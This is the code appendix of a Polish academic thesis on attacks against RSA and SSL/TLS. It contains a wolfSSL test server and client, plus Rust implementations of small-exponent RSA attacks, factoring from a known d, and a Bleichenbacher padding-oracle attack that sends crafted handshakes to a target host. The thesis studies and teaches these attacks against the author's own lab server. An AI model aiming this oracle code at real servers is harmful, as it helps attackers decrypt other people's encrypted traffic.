127             memset(buff, 0, sizeof(buff));
128             memcpy(buff, reply, strlen(reply));
129             len = strnlen(buff, sizeof(buff));
130         }
131
132         if(wolfSSL_write(ssl, buff, len) != len) {
133             fprintf(stderr, "ERROR: failed to write data\n");
134             return -1;
135         }
136
137         wolfSSL_free(ssl);
138         close(connd);
139     }
140     printf("Server closed\n");
141
142     wolfSSL_CTX_free(ctx);
143     wolfSSL_Cleanup();
144     close(sockfd);
145     return 0;
146 }
```

Dodatek B

Kod programu klienta wykorzystanego w ostatnim rozdziale.

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <wolfssl/ssl.h>

#define DEFAULT_PORT 9001

#define CERT_FILE "./cert/rootCA.pem"

int main(int argc, char ** argv) {
    int sockfd;
    struct sockaddr_in servAddr;
    char buff[255];
    size_t len;
    WOLFSSL_CTX * ctx;
    WOLFSSL * ssl;

    wolfSSL_Init();

    if(argc != 2) {
        printf("Usage: %s <IPV4 address>\n", argv[0]);
        return 0;
    }

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        fprintf(stderr, "ERROR: Failed to create socket\n");
        return -1;
    }

    if((ctx = wolfSSL_CTX_new(wolfTLSv1_2_client_method())) == NULL) {
        fprintf(stderr, "ERROR: failed to create CTX (context)\n");
        return -1;
    }

    if(wolfSSL_CTX_load_verify_locations(ctx, CERT_FILE, NULL) != SSL_SUCCESS) {
        fprintf(stderr, "ERROR: failed to load CA list %s\n", CERT_FILE);
        return -1;
    }

    memset(&servAddr, 0, sizeof(servAddr));

    servAddr.sin_family = AF_INET;
```

```
48      servAddr.sin_port = htons(DEFAULT_PORT);
49
50      if(inet_pton(AF_INET, argv[1], &servAddr.sin_addr) != 1) {
51          fprintf(stderr, "ERROR: invalid server adress\n");
52          return -1;
53      }
54
55      if(connect(sockfd, (struct sockaddr*) &servAddr, sizeof(servAddr)) == -1) {
56          fprintf(stderr, "ERROR: Failed to connect\n");
57          return -1;
58      }
59
60      if((ssl = wolfSSL_new(ctx)) == NULL) {
61          fprintf(stderr, "ERROR: failed to create WOLFSSL object\n");
62          return -1;
63      }
64      wolfSSL_set_fd(ssl, sockfd);
65
66      if (wolfSSL_connect(ssl) != SSL_SUCCESS) {
67          fprintf(stderr, "ERROR: failed to connect with wolfssl\n");
68          return -1;
69      }
70
71      printf("Chiper used: %s\n", wolfSSL_get_cipher(ssl));
72      printf("get - get password, shutdown - shutdown\n");
73      printf("Message for server: ");
74      memset(buff, 0, sizeof(buff));
75      fgets(buff, sizeof(buff), stdin);
76      len = strnlen(buff, sizeof(buff));
77
78      if(wolfSSL_write(ssl, buff, len) != len) {
79          fprintf(stderr, "ERROR: failed to write to server\n");
80          return -1;
81      }
82
83      memset(buff, 0, sizeof(buff));
84      if(wolfSSL_read(ssl, buff, sizeof(buff)-1) == -1) {
85          fprintf(stderr, "ERROR: failed to read from server\n");
86      }
87
88      printf("Message from server: %s\n", buff);
89
90      wolfSSL_free(ssl);
91      wolfSSL_CTX_free(ctx);
92      wolfSSL_Cleanup();
93      close(sockfd);
94      return 0;
95  }
```

Dodatek C

Kod programu zawierający pomocnicze funkcje do wybranych ataków na system RSA.

```
use rug::Integer;
use openssl::ssl::{SslConnector, SslMethod, SslVerifyMode};
use std::error::Error;
use std::net::{TcpStream, Shutdown};
use std::io::{Write, Read};
use hex::FromHex;
use std::time::Duration;

pub fn u8_to_dec(digits: Vec<u8>) -> i128 {
    let mut tmp: String;
    let mut ret: i128;// = 0;
    let mut ret1: i128 = 0;
    let n = digits.len();
    for d in digits.iter().enumerate() {
        ret = 0;
        tmp = d.1.to_string();
        let len = tmp.len();
        for ch in tmp.chars().enumerate() {
            ret += ch.1.to_digit(10).unwrap() as i128 * 8_i128.pow((ch.0 + len - 1) as u32);
        }
        print!("{} ", ret);
        ret1 += ret * 10_i128.pow((d.0 + n - 1) as u32);
    }
    print!("\n");
    return ret1;
}

pub fn euclides(a: i128, b: i128) -> (i128, i128, i128) {
    let mut x1: i128 = 1;
    let mut y1: i128 = 0;
    let mut x2: i128 = 0;
    let mut y2: i128 = 1;
    let mut q: i128;
    let mut r1: i128 = a;
    let mut r2: i128 = b;
    while r2 != 0 {
        q = r1 / r2;
        (r1, r2) = (r2, r1 % r2);
        (x1, x2) = (x2, x1 - x2 * q);
        (y1, y2) = (y2, y1 - y2 * q);
    }
    return (r1, x1, y1);
}

pub fn euclides_gmp(a: Integer, b: Integer) -> (Integer, Integer, Integer) {
    let mut x1: Integer = Integer::from(1);
```

```
    let mut y1: Integer = Integer::from(0);
    let mut x2: Integer = Integer::from(0);
    let mut y2: Integer = Integer::from(1);
    let mut q: Integer;
    let mut tmp: Integer;
    let mut r1: Integer = a;
    let mut r2: Integer = b;
    while r2 != 0 {
        tmp = r2.clone();
        (q, r2) = r1.div_rem(r2);
        r1 = tmp;
        (x1, x2) = (x2.clone(), x1 - x2 * q.clone());
        (y1, y2) = (y2.clone(), y1 - y2 * q);
    }
    return (r1, x1, y1);
}

pub fn get_rsa_from_server(host: String, port: u16) -> (Integer, Integer){
    let mut connector_builder = SslConnector::builder(SslMethod::tls()).unwrap();
    connector_builder.set_verify(SslVerifyMode::NONE);
    let connector = connector_builder.build();

    let tmp: String = host.clone() + ":" + &port.to_string();
    let stream = TcpStream::connect(tmp).unwrap();
    let stream = connector.connect(&host, stream).unwrap();

    let key = stream.ssl().peer_certificate().unwrap().public_key().unwrap();
    let n = key.rsa().unwrap().n().to_owned();
    let e = key.rsa().unwrap().e().to_owned();

    let n_ret = n.unwrap().to_dec_str().unwrap().parse::<Integer>();
    let e_ret = e.unwrap().to_dec_str().unwrap().parse::<Integer>();
    return (n_ret.unwrap(), e_ret.unwrap());
}

pub fn bleichenbacher_oracle(host: String, port: u16, pms: &Vec<u8>)
        -> Result<String, Box<dyn Error>> {

    let ch_tls = Vec::from_hex("16030100610100005d
    03034f20d66cba6399e552fd735d75feb0eeae2ea2ebb357c9004e21d0c2574f837a000010009
    d003d0035009c003c002f000a00ff01000024000d0020001e060106020603050105020503040 1
    040204030301030203030201020202 03".replace("\n","")
        .replace(" ","")).unwrap();
    let ch = ch_tls.as_slice();

    let ccs = Vec::from_hex("000101").unwrap();
    let enc = Vec::from_hex("005091a3b6aaa2b64d126e5583b04c113259c4efa4
    8e40a19b8e5f2542c3b1d30f8d80b7582b72f08b21dfcbff09d4b281676a0fb40d48c20c4f38
    8617ff5c00808a96fbfe9bb6cc631101a6ba6b6bc696f0".replace("\n","")
        .replace(" ","")).unwrap();

    let tmp: String = host.clone() + ":" + &port.to_string();
    let mut stream = TcpStream::connect(&tmp).unwrap();
    stream.set_nodelay(true).expect("set_nodelay failed");
```

```
101     stream.set_write_timeout(Some(Duration::new(5,0)))
102         .expect("failed to set nonblocking");
103     stream.set_read_timeout(Some(Duration::new(5,0)))
104         .expect("failed to set nonblocking");
105 
106     stream.write_all(&ch)?;
107 
108     // let cke_2nd_prefix = format!("{:x}",modulus_bytes + 6) + "1000" +
109     //    &format!("{:x}",modulus_bytes + 2) + &format!("{:x}",modulus_bytes);
110     let cke_2nd_prefix = b"\x01\x06\x10\x00\x01\x02\x01\x00";
111 
112     let mut buff = vec![0; 4096];
113     stream.read(&mut buff)?;
114 
115     let cke_version = Vec::from(&buff[9..11]);
116 
117     let mut tmp: Vec<u8> = Vec::from([b"\x16"[0]]);
118     tmp = [tmp, cke_version.clone()].concat();
119     stream.write(&tmp)?;
120 
121     stream.write(cke_2nd_prefix)?;
122 
123     stream.write(&pms)?;
124 
125     tmp = Vec::from_hex("14").unwrap();
126     tmp = [tmp, cke_version.clone()].concat();
127     tmp = [tmp, ccs].concat();
128     stream.write(&tmp)?;
129 
130     tmp = Vec::from_hex("16").unwrap();
131     tmp = [tmp, cke_version.clone()].concat();
132     tmp = [tmp, enc].concat();
133     stream.write(&tmp)?;
134 
135     let bend = stream.read_to_end(&mut buff)?;
136     if bend == 0 {
137         stream.shutdown(Shutdown::Both)?;
138         return Ok(String::from("Ok"))
139     }
140 
141     stream.shutdown(Shutdown::Both)?;
142     Ok(String::new())
143 }
144 
145 #[cfg(test)]
146 mod test {
147     use crate::euclides;
148     use crate::euclides_gmp;
149     use crate::Integer;
150 
151     #[test]
152     fn euclides_test() {
153         let res = euclides(240, 46);
154         assert_eq!(res.0, res.1 * 240 + res.2 * 46);
```

```
155     }
156
157     #[test]
158     fn euclides_gmp_test() {
159         let res = euclides_gmp(Integer::from(240),
160         Integer::from(46));
161         assert_eq!(res.0, res.1 * 240 + res.2 * 46);
162     }
163 }
```

Dodatek D

Kod programu zawierający główne przykłady ataków na system RSA.

```
use hex::FromHex;
use rug::{rand::RandState, Integer, integer::Order};
use ssl_attack::{euclides_gmp, get_rsa_from_server, bleichenbacher_oracle};
use std::{env, io::{Write}};

static CHOICE: [&str; 5] = ["RSA Example",
                            "Small Private Exponent Example",
                            "Facotrization of N given d",
                            "Bleichenbacher attack",
                            "Small public exponent example"];

fn help() {
    println!("Usage: ssl_attack <OPTION> [host] [port]\nOPTION:");
    for (i, line) in CHOICE.iter().enumerate() {
        println!("\t{} - {}", i, line);
    }
}

fn small_private_exponent() {
    let n_str: &str = "122649059178162637000235154483937777089675521737123581091091120757212368433185056590708512714409978021061721803238743089377017125233470097828267381129811527211817783127863190115871663909093856744030469482598261983671636847777109062306704031853586998589720620542362799225455358216910781283304828215788728105359";
    let e_str: &str = "846175017278884238211335964415711215208153976432250899344444363495026815189352935555317668245730984973725643733072885360358550027836390202985353256600764026070343998905859373307478945325732220221390288130646832587519827678558737928425470774472264432568908814208258296346801972428646994160612174807501094125 93";
    let n: Integer = n_str.parse::<Integer>().unwrap();
    let e: Integer = e_str.parse::<Integer>().unwrap();

    let message: &str = "Other secret message";
    let m: Integer = Integer::from_digits(message.as_bytes(), Order::MsfBe);
    let c = m.pow_mod(&e, &n).unwrap();

    let mut num: Integer = e.clone();
    let mut den: Integer = n.clone();
    let mut q: Integer;
    let (_, mut r) = num.clone().div_rem(den.clone());
    let mut d1: Integer = Integer::from(1);
    let mut d2: Integer = Integer::from(0);
    let mut d: Integer;
    let mut m: Integer;

    while r != Integer::ZERO {
        num = den.clone();
```

```
        den = r.clone();
        (q, r) = num.clone().div_rem(den.clone());
        d = q.clone() * d1.clone() + d2.clone();

        m = match c.clone().pow_mod(&d, &n) {
            Ok(m) => m,
            Err(_) => unreachable!(),
        };

        let arr: Vec<u8> = m.to_digits::<u8>(Order::MsfLe);
        let mut str: String = String::new();
        for i in arr {
            str.push(i as char);
        }
        if str.is_ascii() {
            println!("Decrypted message: {}", str);
            break;
        }
        d2 = d1.clone();
        d1 = d.clone();
    }
    println!("Here is your private key: {}", d1);
}

fn small_public_exponent() {
    let n_str: &str = "29331922499794985782735976045591164936683059380558950386560
    160105740343201513369939006307531165922708949619162698623675349030430859547825
    708994708321803705309459438099340427770580064400911431856656901982789948285309
    956111848686906152664473350940486507451771223435835260168971210087470894448460
    745593956840586530527915802541450092946574694809584880896601317519794442862977
    471129319781313161842056501715040555964011899589002863730868679527184420789010
    551475067862907739054966183120621407246398518098981106431219207697870293412176
    440482900183550467375190239898455201170831410460483829448603477361305838743852
    756938687673";
    let n: Integer = n_str.parse::<Integer>().unwrap();
    let e: Integer = Integer::from(3);

    let message: &str = "Super secret message";
    let m: Integer = Integer::from_digits(message.as_bytes(), Order::MsfBe);
    let c: Integer = m.pow_mod(&e, &n).unwrap();
    println!("Here is your ciphertext: {}", c);

    let (res, k) = small_e(n, c, e);
    println!("Decrypted message: {}", res);
    println!("k is: {}", k);

    pub fn small_e(n: Integer, c: Integer, e: Integer) -> (String, i32) {
        let mut arr: Vec<u8>;
        let mut m: Integer;

        for i in 0..10000 {
            m = c.clone() + i*n.clone();
            m = m.root(e.to_u32_wrapping());
            arr = m.to_digits::<u8>(Order::MsfBe);
```

```
            let mut str: String = String::new();
            for j in arr.clone() {
                str.push(j as char);
            }
            if str.is_ascii() {
                return (str,i);
            }
        }
        return (String::from(""), -1);
    }
}

fn factor_n_example() {
    let n_str: &str = "122649059178162637000235154483937777089675521737123581091091120757212368433185056590708512714409978021061721803238743089377017125233470097828267381129811527211817783127863190115871663909093856744030469482598261983671636847777109062306704031853586998589720620542362799225455358216910781283304828215788728105359";
    let e_str: &str = "846175017278884238211335964415711215208153976432250899344444363495026815189352935555317668245730984973725643733072885360358550027836390202985353256600764026070343998905859373307478945325732220221390288130646832587519827678558737928425470774472264432568908814208258296346801972428646994160612174807501094125 93";
    let n: Integer = n_str.parse::<Integer>().unwrap();
    let e: Integer = e_str.parse::<Integer>().unwrap();
    let d: Integer = Integer::from(65537);

    let k: Integer = e*d - Integer::from(1);
    let mut t_int: u16 = 0;
    let mut r: Integer = k.clone();
    while r.is_even() {
        r = r/2;
        t_int += 1;
    }
    let t: Integer = Integer::from(t_int);

    println!("k = 2^{} * {}", t, r);
    let mut x: Integer;
    let mut p: Integer;
    let mut q: Integer;
    for i in 1..t_int {
        let tmp = &k / Integer::from((2 as u32).pow(i.into()));
        x = Integer::from(3).pow_mod(&tmp, &n).unwrap();
        p = (&x - Integer::from(1)).gcd(&n);
        q = (&x + Integer::from(1)).gcd(&n);
        if p.clone() == Integer::from(1) || q.clone() == Integer::from(1) {
            continue;
        }
        if n == p.clone() * q.clone() {
            println!("Here is p: {}\nHere is q: {}", &p, &q);
        }
    }
}

```

```rust
fn rsa_example() {
    let p: Integer = Integer::from(7919);
    let q: Integer = Integer::from(6841);
    let n: Integer = p.clone() * q.clone();
    let phi: Integer = (p - 1) * (q - 1);
    let mut rand: RandState = RandState::new();
    let mut e: Integer = phi.clone().random_below(&mut rand);
    let mut res = euclides_gmp(e.clone(), phi.clone());
    while res.0 != 1 {
        e = phi.clone().random_below(&mut rand);
        res = euclides_gmp(e.clone(), phi.clone());
    }
    let d: Integer;
    if res.1 < 0 {
        d = res.1 + n.clone();
    } else {
        d = res.1;
    }
    println!("Generated key ({}, {}), {}", n, e, d);

    let text: String = String::from("Hi!");
    let mut bytes: Vec<u8> = Vec::new();
    for i in text.chars() {
        bytes.push(i as u8);
    }
    let m: i128 = Integer::from_digits(&bytes, Order::MsfLe).to_i128_wrapping();
    println!("Message to encrypt: {} = {}", text, m);

    let c: Integer = match Integer::from(m).pow_mod(&e.clone(), &n.clone()) {
        Ok(c) => c, //.to_i128_wrapping(),
        Err(_) => unreachable!(),
    };

    print!("Encrypted message: {} = [", &c);
    for i in c.to_digits::<u8>(Order::MsfBe) {
        print!("{},", i);
    }
    println!("]");

    let dec = match Integer::from(c).pow_mod(&d, &n) {
        Ok(dec) => dec.to_i128_wrapping(),
        Err(_) => unreachable!(),
    };
    let mut tmp: String = String::new();
    for i in Integer::from(dec).to_digits::<u8>(Order::MsfBe) {
        tmp.push(i as char);
    }
    println!("Decrypted message: {} = {}", dec, tmp);
}

fn bleichenbacher_example(host: String, port: u16) {

    let (n, e) = get_rsa_from_server(host.clone(), port.clone());
    println!("n: {}\ne: {}", n, e);
```

```
210
211     let modulus_bytes = n.to_digits::<u8>(Order::MsfLe).len();
212     let modulus_bits = &modulus_bytes * 8;
213
214     println!("Modulus bits: {}", modulus_bits);
215     println!("Modulus bytes: {}", modulus_bytes);
216
217     let pad_len = (modulus_bytes - 48 - 3) * 2;
218     let len  = (pad_len / 2) as i32 + 1;
219     let mut rnd_pad = String::new();
220     for _i in 1..len {
221         rnd_pad += "abcd";
222     }
223     rnd_pad.drain(pad_len..rnd_pad.len());
224     println!("Pad len: {}\nRnd pad len: {}", pad_len, rnd_pad.len());
225
226     let hex_test = Vec::from_hex("aa11").unwrap();
227     let int_test = Integer::from_digits(hex_test.as_slice(), Order::MsfLe);
228     println!("Integer: {}", int_test);
229
230     let rnd_pms = "aa112233445566778899112233445566778
231         991122334455667788991122334455667788991122334455667788
232         899".replace("\n","").replace(" ","");
233     let pms_good_str = String::from("0002") + &rnd_pad + "000303" + &rnd_pms;
234     let pms_good_vec = Vec::from_hex(pms_good_str).unwrap();
235     let pms_good_in = Integer::from_digits(pms_good_vec.as_slice(), Order::MsfLe);
236     // wrong first two bytes
237     let pms_bad_str1 = String::from("4117") + &rnd_pad + "00" + "0303" + &rnd_pms;
238     let pms_bad_vec1 = Vec::from_hex(pms_bad_str1).unwrap();
239     let pms_bad_in1 = Integer::from_digits(pms_bad_vec1.as_slice(), Order::MsfBe);
240     // 0x00 on a wrong position, also trigger older JSSE bug
241     let pms_bad_str2 = String::from("0002") + &rnd_pad + "11" + &rnd_pms + "0011";
242     let pms_bad_in2 = Integer::from_digits(pms_bad_str2.as_bytes(), Order::MsfBe);
243     // no 0x00 in the middle
244     let pms_bad_str3 = String::from("0002") + &rnd_pad + "11" + "1111" + &rnd_pms;
245     let pms_bad_in3 = Integer::from_digits(pms_bad_str3.as_bytes(), Order::MsfBe);
246     // wrong version number (according to Klima / Pokorny / Rosa paper)
247     let pms_bad_str4 = String::from("0002") + &rnd_pad + "00" + "0202" + &rnd_pms;
248     let pms_bad_in4 = Integer::from_digits(pms_bad_str4.as_bytes(), Order::MsfBe);
249
250     let pms_good = pms_good_in.pow_mod(&e, &n).unwrap()
251         .to_digits::<u8>(Order::MsfBe);
252     println!("pms good {}", pms_good.as_slice().escape_ascii().to_string());
253     println!("length {}", pms_good.len());
254     let pms_bad1 = pms_bad_in1.pow_mod(&e, &n).unwrap()
255         .to_digits::<u8>(Order::MsfBe);
256     let pms_bad2 = pms_bad_in2.pow_mod(&e, &n).unwrap()
257         .to_digits::<u8>(Order::MsfBe);
258     let pms_bad3 = pms_bad_in3.pow_mod(&e, &n).unwrap()
259         .to_digits::<u8>(Order::MsfBe);
260     let pms_bad4 = pms_bad_in4.pow_mod(&e, &n).unwrap()
261         .to_digits::<u8>(Order::MsfBe);
262
263     let good = bleichenbacher_oracle(host.clone(), port.clone(), &pms_good);
```

```
    let bad1 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad1);
    let bad2 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad2);
    let bad3 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad3);
    let bad4 = bleichenbacher_oracle(host.clone(), port.clone(), &pms_bad4);

    println!("is good good: {}, {}", good.is_ok(), good.unwrap());
    println!("is bad1 good: {}, {}", bad1.is_ok(), bad1.unwrap_or_default());
    println!("is bad2 good: {}, {}", bad2.is_ok(), bad2.unwrap_or_default());
    println!("is bad3 good: {}, {}", bad3.is_ok(), bad3.unwrap_or_default());
    println!("is bad4 good: {}, {}", bad4.is_ok(), bad4.unwrap_or_default());

    //blinding
    let c_str = "49 2d ab 7c 1f 1d 33 db d1 d6 db e7 57
            c8 ec 47 31 f4 3c bf 43 94 16 85 6d b2 65 97
            07 59 e7 d8 43 9f 8e 46 cc a1 8b c7 28 df e0
            67 93 03 d2 66 c1 44 ea 05 e4 51 2c 6f 23 42
            d6 09 e4 36 37 6a 72 8d cd a7 6f 4a 75 01 c2
            ef 8b 45 a8 39 e9 3a 5a 07 6b 29 35 3d 4d 9e
            15 59 06 6c d4 61 21 8c c1 8e e2 89 7d b9 e7
            f7 d6 66 9b 66 54 2f 4a 2d d0 9c ac f1 99 4f
            49 67 61 01 0d 5f a2 83 3a 9c 27 2f 64 74 6a
            24 c4 b8 a9 9c e2 a3 df b8 68 9f 23 9b 73 6e
            6a fa 2a a6 d0 a4 94 3c 94 25 f8 19 f4 87 4d
            5f be 0c 97 a0 33 e3 1e dc d9 5b 46 c4 b1 88
            37 22 14 80 07 22 4c a8 c8 da d7 4f 48 06 48
            d4 d5 3e 8a 73 74 aa cd 55 b2 64 bc 77 73 40
            7b 96 6e 2a 72 e7 39 4e 54 f2 5b b7 cc eb c5
            73 36 cc d0 66 e1 35 38 2e cb 50 29 38 f5 35
            a5 1f f0 74 95 5a 64 4a 1f b6 88 d1 6d c5 0c
            6a da a7";
    let c = Vec::from_hex(c_str.replace(" ","").replace("\n","")).unwrap();
    let mut count = 0;
    let mut s0 = 1;
    let mut c0 = Integer::from(s0).pow_mod(&e, &n).unwrap()
        * Integer::from_digits(&c, Order::MsfBe);
    loop {
        if count % 1000 == 0 {
            println!("{} query", count);
        }
        match bleichenbacher_oracle(host.clone(),
            port.clone(),
            &c0.to_digits::<u8>(Order::MsfBe)) {
                Ok(_) => break,
                Err(_) => ()
            };
        s0 += 1;
        c0 = Integer::from(s0).pow_mod(&e, &n).unwrap()
            * Integer::from_digits(&c, Order::MsfBe);
        count += 1;
    }
    println!("s0: {}", s0);
}

fn main() {
```

```
318
319     // can arguments be overflown ?
320     let args: Vec<String> = env::args().collect();
321
322     let mut line_buffer = String::new();
323     let choice: String;
324     let decision:i8;
325     if args.len() < 2 {
326         help();
327         print!("Choose what you want to run [0-1]: ");
328         std::io::stdout().flush().unwrap();
329         choice = match std::io::stdin().read_line(&mut line_buffer) {
330             Ok(_) => line_buffer.replace("\n", ""),
331             Err(_) => String::from("-1"),
332         };
333     } else {
334         choice = String::from(&args[1]);
335     }
336
337     decision = match choice.parse::<i8>() {
338         Ok(dec) => dec,
339         Err(_) => -1,
340     };
341
342     match decision {
343         0 => rsa_example(),
344         1 => small_private_exponent(),
345         2 => factor_n_example(),
346         3 => {
347             if args.len() > 3 {
348                 bleichenbacher_example(args[2].clone(), args[3].parse::<u16>().unwrap());
349             } else {
350                 println!("Needs host and port argument!");
351             }
352         },
353         4 => small_public_exponent(),
354         _ => help(),
355     }
356 }
```

Strzeszczenie

Celem pracy jest przedstawienie systemu kryptograficznego RSA z wybranymi atakami na ten system oraz przedstawienie podstawowych pojęć dotyczących protokołu SSL/TLS. Opisano podstawowe pojęcia matematyczne służące do zrozumienia działania systemu RSA oraz niektórych ataków na ten system. Został ponadto przedstawiony własny przykład działania systemu RSA. Dla wybranych ataków na ten system została także zrobiona implementacja w kodzie posługując się nowoczesnym językiem programowania Rust. Protokół SSL/TLS został omówiony na podstawie własnego przykładu. Jeden z przedstawionych ataków na system RSA korzystający z przedstawionego protokołu SSL/TLS, został on omówiony i w części zaimplementowany w kodzie. Do tego ataku stworzono własny serwer napisany w znanym języku programowania C. Atak został w części przeprowadzony ze względu na słabą wyrocznie tego serwera. Brak wyników w dużym okresie czasowym natomiast potwierdził słabość tej wyroczni.

Abstract

This paper's purpose is to show the RSA cryptosystem with some chosen attacks on this system and to show basic concepts regarding the SSL/TLS protocol. Mathematical principles are described to help understand the functioning of the RSA cryptosystem and some of the chosen attacks on this cryptosystem. Moreover, a personal example for this cryptosystem is illustrated. For some of the chosen attacks an implementation was written in Rust, a modern programming language. The SSL/TLS protocol is described using a very own example. One of the chosen attacks on the RSA cryptosystem, which uses the SSL/TLS protocol, is illustrated and partially code implemented. For this attack a personal server was written using C, a known programming language. The attack was partially completed due to the server's weak oracle. The lack of results in a long period of time, though, confirmed the oracle's weakness.